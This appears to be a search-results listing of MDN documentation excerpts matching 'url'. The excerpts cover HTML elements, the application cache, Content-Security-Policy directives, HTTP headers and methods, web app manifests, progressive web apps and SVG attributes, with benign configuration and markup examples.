url for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element. <dd> the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>). <div> the html content division element (<div>) is the generic container for flow con...
...bulleted list. inline text semantics use the html inline text semantic to define the meaning, structure, or style of a word, line, or any arbitrary piece of text. element description <a> the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a
url can address. <abbr> the html abbreviation element (<abbr>) represents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the abbreviation. <b> the html bring attention to element (<b>) is used to draw the reader's attention to the element's contents, which are not otherwise granted special importance. <bdi> ...
Using the application cache - HTML: Hypertext Markup Language
urces are local, and therefore load faster. reduced server load the browser only downloads resources that have changed from the server. how the application cache works enabling the application cache to enable the application cache for an application, include the manifest attribute in the <html> element: <html manifest="/example.appcache"> … </html> the manifest attribute references a
url for a cache manifest file: a text file that lists
urls that browsers should cache for your application. you should include the manifest attribute on each page of your site that you want cached. the browser does not cache pages without the manifest attribute, unless such pages are listed in the manifest file. you do not need to list all pages you want cached in the manifest file, the browser impl...
...t file is removed from the server, the browser removes all application caches that use that manifest, and sends an "obsoleted" event to the applicationcache object. this sets the application cache's state to obsolete. the cache manifest file referencing a cache manifest file the manifest attribute in a web application can specify either the relative path of a cache manifest file or an absolute
url. (absolute
urls must be from the same origin as the application). a cache manifest file can have any file extension, but it must be served with the mime type text/cache-manifest. note: on apache servers, the mime type for manifest (.appcache) files can be set by adding addtype text/cache-manifest .appcache to a .htaccess file within either the root directory, or the same directory as the applica...
...tp://www.example.com/blah/blah a cache manifest file can include three sections (cache, network, and fallback, discussed below). in the example above, there is no section header, so all data lines are assumed to be in the explicit (cache) section, meaning that the browser should cache all the listed resources in the application cache. resources can be specified using either absolute or relative
urls (e.g., index.html). the "v1" comment in the example above is there for a good reason. browsers only update an application cache when the manifest file changes, byte for byte. if you change a cached resource (for example, you update the header.png image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. you ...
Reason: CORS request not HTTP - HTTP
local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened. ...
... local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened. ...
... local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened. ...
CSP: child-src - HTTP
ck yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the child-src policy: content-security-policy: child-src <source>; content-security-policy: child-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
CSP: frame-ancestors - HTTP
sources <source> can be one of the following: the frame-ancestors directive’s syntax is similar to a source list of other directives (e.g. default-src), but doesn't allow 'unsafe-eval' or 'unsafe-inline' for example. it will also not fall back to a default-src setting. only the sources listed below are allowed: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number, separated by spaces. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. single quotes surrounding the host are not allowed. examples: http://*.example.com: matches all attempts to load from any subdomain of ex...
..., separated by spaces. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. single quotes surrounding the host are not allowed. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. if no
url scheme is specified for a host-source and the iframe is loaded from an https
url, the
url for the page loading the iframe must also be https, per the w3c spec on matching source expressions. <s...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. examples content-security-policy: frame-ancestors 'none'; content-security-polic...
CSP: frame-src - HTTP
er agent will look for the child-src directive (which falls back to the default-src directive). syntax one or more sources can be allowed for the frame-src policy: content-security-policy: frame-src <source>; content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
CSP: img-src - HTTP
allback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the img-src policy: content-security-policy: img-src <source>; content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: manifest-src - HTTP
. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the manifest-src policy: content-security-policy: manifest-src <source>; content-security-policy: manifest-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
CSP: media-src - HTTP
ck yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the media-src policy: content-security-policy: media-src <source>; content-security-policy: media-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
CSP: object-src - HTTP
yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the object-src policy: content-security-policy: object-src <source>; content-security-policy: object-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
CSP: report-to - HTTP
version 1 directive type reporting directive this directive is not supported in the <meta> element. syntax content-security-policy: report-to <json-field-value>; examples see content-security-policy-report-only for more information and examples. ...
...n-field-value>; examples see content-security-policy-report-only for more information and examples. ...
...ps://example.com/csp-reports" } ] }, { "group": "hpkp-endpoint", "max_age": 10886400, "endpoints": [ { "
url": "https://example.com/hpkp-reports" } ] } content-security-policy: ...; report-to csp-endpoint report-to: { "group": "endpoint-1", "max_age": 10886400, "endpoints": [ { "
url": "https://example.com/reports" }, { "
url": "https://backup.com/reports" } ] } content-security-policy: ...; report-to endpoint-1 ...
CSP: upgrade-insecure-requests - HTTP
the upgrade-insecure-requests directive is evaluated before block-all-mixed-content and if it is set, the latter is effectively a no-op. it is recommended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http. ...
... the upgrade-insecure-requests directive is evaluated before block-all-mixed-content and if it is set, the latter is effectively a no-op. it is recommended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http. ...
... // meta tag <meta http-equiv="content-security-policy" content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate from http to https, non-navigational insecure resource requests are automatically upgraded (first-party as well as third-party requests). <img src="http://example.com/image.png"> <img src="http://not-example.com/image.png"> these
urls will be rewritten before the request is made, meaning that no insecure requests will hit the network. note that, if the requested resource is not actually available via https, the request will fail without any fallback to http. <img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> navigational upgrades to third-party resources brings a significantly higher pot...
CSP: worker-src - HTTP
higher skips the child-src directive. edge 17 skips the script-src directive (bug). syntax one or more sources can be allowed for the worker-src policy: content-security-policy: worker-src <source>; content-security-policy: worker-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
Location - HTTP
the location response header indicates the
url to redirect a page to. it only provides a meaning when served with a 3xx (redirection) or 201 (created) status response. in cases of redirection, the http method used to make the new request to fetch the page pointed to by location depends of the original method and of the kind of redirection: if 303 (see also) responses always lead to the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know). all responses with one of these status codes send a location header. ...
... the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know). all responses with one of these status codes send a location header. in cases of resource creation, it indicates the
url to the newly created resource. location and content-location are different: location indicates the target of a redirection (or the
url of a newly created resource), while content-location indicates the direct
url to use to access the resource when content negotiation happened, without the need of further content negotiation. location is a header associated with the response, while content-locati...
... created resource), while content-location indicates the direct
url to use to access the resource when content negotiation happened, without the need of further content negotiation. location is a header associated with the response, while content-location is associated with the entity returned. header type response header forbidden header name no syntax location: <
url> directives <
url> a relative (to the request
url) or absolute
url. examples location: /index.html specifications specification title rfc 7231, section 7.1.2: location hypertext transfer protocol (http/1.1): semantics and content ...
Set-Cookie - HTTP
e any us-ascii characters, except control characters, spaces, or tabs. it also must not contain a separator character like the following: ( ) < > @ , ; : \ " / [ ] ? = { }. a <cookie-value> can optionally be wrapped in double quotes and include any us-ascii characters excluding control characters, whitespace, double quotes, comma, semicolon, and backslash. encoding: many implementations perform
url encoding on cookie values, however it is not required per the rfc specification. it does help satisfying the requirements about which characters are allowed for <cookie-value> though. __secure- prefix: cookies names starting with __secure- (dash is part of the prefix) must be set with the secure flag from a secure page (https). __host- prefix: cookies with names starting with __host- must be ...
...is relative to the client the cookie is being set on, not the server. max-age=<number> optional number of seconds until the cookie expires. a zero or negative number will expire the cookie immediately. if both expires and max-age are set, max-age has precedence. domain=<domain-value> optional host to which the cookie will be sent. if omitted, defaults to the host of the current document
url, not including subdomains. contrary to earlier specifications, leading dots in domain names (.example.com) are ignored. multiple host/domain values are not allowed, but if a domain is specified, then subdomains are always included. path=<path-value> optional a path that must exist in the requested
url, or the browser won't send the cookie header. the forward slash (/) character is inte...
...th httponly will still be sent with javascript-initiated requests, e.g. when calling xmlhttprequest.send() or fetch(). this mitigates attacks against cross-site scripting (xss). samesite=<samesite-value> optional strict: the browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). if the request originated from a different
url than the current one, no cookies with the samesite=strict attribute are sent. lax: the cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the
url from an external site, such as by following a link. none: the browser sends the cookie with both cross-site and same-site requests. asserts that a cookie must not be sent wi...
POST - HTTP
here successive identical post may have additional effects, like passing an order several times. a post request is typically sent via an html form and results in a change on the server. in this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements: application/x-www-form-
urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value. non-alphanumeric characters in both keys and values are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead) multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-define...
... to a data-handling process; extending a database through an append operation. ...
...s body yes successful response has body yes safe no idempotent no cacheable only if freshness information is included allowed in html forms yes syntax post /test example a simple form using the default application/x-www-form-
urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-
urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.example content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications spec...
A typical HTTP session - HTTP
d phases can now be performed any number of times. establishing a connection in client-server protocols, it is the client which establishes the connection. opening a connection in http means initiating a connection in the underlying transport layer, usually this is tcp. with tcp the default port, for an http server on a computer, is port 80. other ports can also be used, like 8000 or 8080. the
url of a page to fetch contains both the domain name, and the port number, though the latter can be omitted if it is 80. see identifying resources on the web for more details. note: the client-server model does not allow the server to send data to the client without an explicit request for it. to work around this problem, web developers use several techniques: ping the server periodically via the xm...
... is established, the user-agent can send the request (a user-agent is typically a web browser, but can be anything else, a crawler, for example). a client request consists of text directives, separated by crlf (carriage return, followed by line feed), divided into three blocks: the first line contains a request method followed by its parameters: the path of the document, i.e. an absolute
url without the protocol or domain name the http protocol version subsequent lines represent an http header, giving the server information about what type of data is appropriate (e.g., what language, what mime types), or other data altering its behavior (e.g., not sending an answer if it is already cached). these http headers form a block which ends with an empty line. the final block is an...
... block from the header block. as there is no content-length provided in an http header, this data block is presented empty, marking the end of the headers, allowing the server to process the request the moment it receives this empty line. for example, sending the result of a form: post /contact_form.php http/1.1 host: developer.mozilla.org content-length: 64 content-type: application/x-www-form-
urlencoded name=joe%20user&request=send%20me%20one%20of%20your%20catalogue request methods http defines a set of request methods indicating the desired action to be performed upon a resource. although they can also be nouns, these requests methods are sometimes referred as http verbs. the most common requests are get and post: the get method requests a data representation of the specified reso...
String.prototype.link() - JavaScript
return value a string containing an <a> html element. description use the link() method to create an html snippet for a hypertext link. the returned string can then be added to the document via document.write() or element.innerhtml. ...
... return value a string containing an <a> html element. description use the link() method to create an html snippet for a hypertext link. the returned string can then be added to the document via document.write() or element.innerhtml. ...
...ertext link. the returned string can then be added to the document via document.write() or element.innerhtml. links created with the link() method become elements in the links array of the document object. see document.links. examples using link() the following example displays the word "mdn" as a hypertext link that returns the user to the mozilla developer network. var hottext = 'mdn'; var
url = 'https://developer.mozilla.org/'; console.log('click to return to ' + hottext.link(
url)); // click to return to <a href="https://developer.mozilla.org/">mdn</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.link' in that specification. ...
related_applications - Web app manifests
the google play store. such applications are intended to be alternatives to the manifest's website that provides similar/equivalent functionality — like the native app equivalent. note: developer can specify that the native applications are preferred over the web application by setting prefer_related_applications to true. examples "related_applications": [ { "platform": "play", "
url": "https://play.google.com/store/apps/details?id=com.example.app1", "id": "com.example.app1" }, { "platform": "itunes", "
url": "https://itunes.apple.com/app/example-app1/id123456789" } ] related application values application objects may contain the following values: member description platform the platform on which the application can be found. list...
... id the id used to represent the application on the specified platform. ...
... id the id used to represent the application on the specified platform. specification specification status comment feedback web app manifestthe definition of 'related_applications' in that specification. ...
scope - Web app manifests
type string mandatory no the scope member is a string that defines the navigation scope of this web application's application context. it restricts what web pages can be viewed while the manifest is applied. if the user navigates outside the scope, it reverts to a normal web page inside a browser tab or window. if the scope is a relative
url, the base
url will be the
url of the manifest. ...
...is a string that defines the navigation scope of this web application's application context. it restricts what web pages can be viewed while the manifest is applied. if the user navigates outside the scope, it reverts to a normal web page inside a browser tab or window. if the scope is a relative
url, the base
url will be the
url of the manifest. ...
...es the navigation scope of this web application's application context. it restricts what web pages can be viewed while the manifest is applied. if the user navigates outside the scope, it reverts to a normal web page inside a browser tab or window. if the scope is a relative
url, the base
url will be the
url of the manifest. ...
Web app manifests
tain comments? it is a json-formatted file, with one exception: it is allowed to contain "//"-style comments. members web manifests can contain the following keys. ...
...le comments. members web manifests can contain the following keys. ...
...": "96x96", "type": "image/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "image/png" }, { "src": "images/touch/homescreen168.png", "sizes": "168x168", "type": "image/png" }, { "src": "images/touch/homescreen192.png", "sizes": "192x192", "type": "image/png" }], "related_applications": [{ "platform": "play", "
url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file shou...
Introduction to progressive web apps - Progressive web apps (PWAs)
gressive, thus ending up with a higher lighthouse score. but this is only a rough indicator. there are some key principles a web app should try to observe to be identified as a pwa. it should be: discoverable, so the contents can be found through search engines. installable, so it can be available on the device's home screen or app launcher. linkable, so you can share it by simply sending a
url. network independent, so it works offline or with a poor network connection. progressive, so it's still usable on a basic level on older browsers, but fully-functional on the latest ones. re-engageable, so it's able to send notifications whenever there's new content available. responsive, so it's usable on any device with a screen and a browser—mobile phones, tablets, laptops, tvs, refriger...
...o tap to open apps into their own native container that feels nicely integrated with the underlying platform. modern web apps can have this native app feel via properties set inside the web app manifest, and via a feature available in modern smartphone browsers called web app installation. linkability one of the most powerful features of the web is the ability to link to an app at a specific
url without the need for an app store or complex installation process. this is how it has always been. network independence modern web apps can work when the network is unreliable, or even non-existent. the basic ideas behind network independence are to be able to: revisit a site and get its contents even if no network is available. browse any kind of content the user has previously visited a...
...it any form factor: desktop, mobile, tablet, or whatever comes next. safety the web platform provides a secure delivery mechanism that prevents snooping while simultaneously ensuring that content hasn’t been tampered with, as long as you take advantage of https and develop your apps with security in mind. it's also easy for users to ensure that they're installing the right app, because its
url will match your site's domain. this is very different from apps in app stores, which may have a number of similarly-named apps, some of which may even be based on your own site, which only adds to the confusion. web apps eliminate that confusion and ensure that users get the best possible experience. browser support as mentioned before, pwas don't depend on a single api, but rather using variou...
Media - Progressive web apps (PWAs)
le, you are probably reading this on a device with a display. but you might also want to project it to a big screen for a large audience, or you might want to print it. these different media have different characteristics. css has the capacity to present content according to the media type. to specify rules that are specific to a type of media, use @media followed by the media type, followed by c
urly braces that enclose the rules. example a document on a website has a navigation area that contains the primary site menu. in the markup language, the navigation area's parent element has the id nav-area. (in html5, this can be marked up with the <nav> element instead of <div> with an id attribute.) when printing the document, the navigation area has no purpose. this css (below) removes the ...
...ils there are other ways to specify the media type for a set of rules. the document's markup language might allow the media type to be specified when the stylesheet is linked to the document. for example, in html, you have the option to specify the media type with a media attribute in the link element. in css, you can use @import at the start of a stylesheet to import another stylesheet from a
url, optionally specifying the media type. these are ways of separating styling rules for different media types into different files. for full details of media types, see media in the css specification. there are more examples of the display property in a later page in this tutorial: xml data. printing css has specific support for printing and for paged media in general. a @page rule can set t...
...cally change the appearance of content as the user works with the interface. there are five special selectors: selector selects e:hover any e element that has the pointer over it e:focus any e element that has keyboard focus e:active the e element that is involved in the current user action e:link any e element that is a hyperlink to a
url that the user has not visited recently e:visited any e element that is a hyperlink to a
url that the user has visited recently note: the information that can be obtained from the :visited selector is restricted in gecko 2.0. see privacy and the : visited selector for more details. the cursor property specifies the shape of the pointer: some of the common shapes are as follow...
The building blocks of responsive design - Progressive web apps (PWAs)
nd images this is a fairly easy problem to solve. if you use the mobile first methodology, you will be creating your mobile layout inside your default css, before any media queries have been applied. the media queries then supply css that is only applied to the markup when the viewport is above a certain width. let's look at a quick example: header { height: 300px; width: 100%; background:
url(images/small-header.jpg) center; } @media all and (min-width: 480px) { header { background:
url(images/large-header.jpg) center; } } this means that mobile browsers only download the mobile background image asset — not the desktop mobile assets — because they fail the media query tests and therefore ignore the media queries. you can also serve a larger graphic to a higher resolution...
... header { background:
url(images/large-header.jpg) center; } } this means that mobile browsers only download the mobile background image asset — not the desktop mobile assets — because they fail the media query tests and therefore ignore the media queries. ...
...erefore ignore the media queries. you can also serve a larger graphic to a higher resolution device using a resolution media query, like so: button { background:
url(images/low-res-header.jpg) 1rem center ; } @media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and ( min-resolution: 192dpi), only screen and ( min-resolution: 2dppx) { button { background:
url(images/high-res-header.jpg) 1rem center ; } } this looks rather complicated, but really it's not — we are providing a number of media query options, as at this time different browsers support different resolution media query types and even units. brett jankord has a good explanation at cross browser retina/high resolution media queries. <video> html5 video is fairly well catered for in te...
fx - SVG: Scalable Vector Graphics
animatable none example <svg viewbox="0 0 120 120" width="200" height="200" x...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradien...
...example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="
url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sa...
fy - SVG: Scalable Vector Graphics
animatable none example <svg viewbox="0 0 120 120" width="200" height="200" x...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradien...
...example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="
url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sa...
numOctaves - SVG: Scalable Vector Graphics
negative values are forbidden. example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3...
...negative values are forbidden. example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequ...
